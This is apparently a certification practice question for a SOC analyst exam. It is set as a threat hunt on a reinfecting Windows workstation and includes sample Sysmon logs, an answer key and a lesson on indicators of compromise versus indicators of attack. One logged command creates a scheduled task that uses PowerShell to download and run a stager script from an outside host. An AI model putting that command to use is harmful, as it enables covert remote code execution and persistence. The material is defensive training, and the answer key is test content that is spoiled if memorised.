CSA (312-39) SOC Simulation Lab

Welcome to the SOC. In this scenario, you are conducting a threat hunt on an endpoint that repeatedly reinfects itself. Your goal is to identify the methodology the attacker is using by understanding the difference between static artifacts and behavioral indicators.

Scenario Context

A Tier 2 analyst has escalated a stubborn incident on a developer's Windows 11 workstation. The endpoint's EDR keeps quarantining a malicious payload, but the process reappears after every reboot. The user is experiencing slowdowns and abnormal pop-ups.

As a Tier 3 Threat Hunter, you pull the advanced telemetry and realize this isn't just a simple malware drop—there is an active intrusion involving persistence, C2 beacons, and lateral movement attempts targeting the local subnet.

Security Environment

You query your SIEM (Splunk) for Sysmon and Windows Security logs associated with the infected host over the last 48 hours:

[SYSMON EVENT ID 13 - REGISTRY EVENT] Image: C:\Windows\System32\reg.exe TargetObject: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdater Details: "C:\Users\Public\svchost_ext.exe" [SYSMON EVENT ID 1 - PROCESS CREATION] CommandLine: schtasks /create /tn "WinUpdateCheck" /tr "powershell.exe -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://192.0.2.44/stager.ps1')" /sc minute /mo 15 [WINDOWS EVENT ID 4625 - FAILED LOGON] Logon Type: 3 (Network) Source Workstation: DEV-WKSTN-09 (Infected Host) Target Account: Administrator (Domain Admin) Target Server: DC-01.corp.local

Analyst Note: The attacker is not just dropping a file (artifact); they are executing a sequence of actions—establishing persistence via registry/tasks, beaconing out, and attempting to move laterally to the Domain Controller.

Question

A threat hunter analyzing an infected endpoint finds that malicious processes keep reappearing even after termination, making traditional remediation ineffective. The user of the endpoint reports occasional system slowdowns, abnormal pop-ups, and unauthorized application launches. Upon deeper inspection, the threat hunter discovers that the system has multiple scheduled tasks executing unknown scripts at specific intervals, along with suspicious registry modifications that enable automatic script execution upon startup. Further investigation reveals that the endpoint has made occasional outbound connections to an unclassified external server, though the traffic is encrypted and intermittent. Additionally, the organization recently experienced multiple failed logins attempts on privileged accounts originating from the same subnet, raising concerns about potential credential theft or lateral movement. With the possibility of persistence mechanisms, lateral movement, or external C2 activity, which signs should the threat hunter look out for to confirm and mitigate the threat?

NOTE: It is mandatory to answer the question before proceeding to the next one.
SOC Hint: Think about the difference between a static piece of evidence (like a single IP address or file hash) versus a sequence of malicious behaviors (like creating scheduled tasks, modifying run keys, and attempting remote logins). Which term specifically describes the *behavior* and *intent* of an ongoing attack?

Expert Insight

1. What is happening?

You are observing an active intrusion. The Tier 2 analyst failed to remediate the threat because they only deleted the malware file (an artifact/IoC). They missed the behaviors—the scheduled tasks and registry keys (persistence mechanisms) that the attacker configured to redownload and execute the malware upon reboot. The attacker is currently in the "Maintain Presence" and "Lateral Movement" phases of the attack lifecycle.

2. Why is "Indicators of Attack (IoAs)" the correct answer?

Indicators of Attack (IoAs) focus on the intent and behavior of an attacker, regardless of the specific tools or malware they use. Creating scheduled tasks, modifying registry run keys, making intermittent encrypted outbound connections (beaconing), and repeatedly failing privileged logins are all sequences of actions—behaviors that indicate an attack is actively unfolding. By hunting for these behaviors (IoAs) rather than just static file hashes, the hunter can uncover the full scope of the breach and dismantle the persistence mechanisms.

3. Why are the other options incorrect?

  • Host-Based / Network-Based Artifacts: Incorrect. Artifacts are static Indicators of Compromise (IoCs) like a specific IP address, domain, or MD5 hash. If you only look for the exact file hash, the attacker will just recompile the payload. You need to look for the behavior.
  • Threat Intelligence & Adversary: Incorrect. While Threat Intel helps inform your hunt, it is an external feed or process, not the specific signs (evidence of behavior) you are looking for inside your own environment to confirm the intrusion.

4. Real-World SOC Application

Modern Endpoint Detection and Response (EDR) platforms like CrowdStrike and SentinelOne are built primarily on IoAs, not IoCs. Instead of saying "Block file hash XYZ," an IoA rule in the SOC says, "Alert if an Office document spawns PowerShell, which then makes an external network connection and writes an executable to the Public folder." As a Senior Analyst, you build detection rules based on IoAs to catch zero-day attacks that have no known static artifacts.

Mini Lesson: IoC vs. IoA

Indicators of Compromise (IoCs): Evidence that a breach has already occurred. They are static and reactive. Examples: IP addresses, domains, file hashes, specific filenames. (Painful for defenders, easy for attackers to change).

Indicators of Attack (IoAs): Evidence of the attacker's methodology and intent as it happens. They are dynamic and proactive. Examples: Code execution from memory, disabling auditing tools, lateral movement via PsExec, or persistence via scheduled tasks. (Hard for attackers to change without abandoning their core strategy).

Sharpen your SOC analysis skills.

Practice with more real-world threat detection scenarios.

Explore more CSA simulations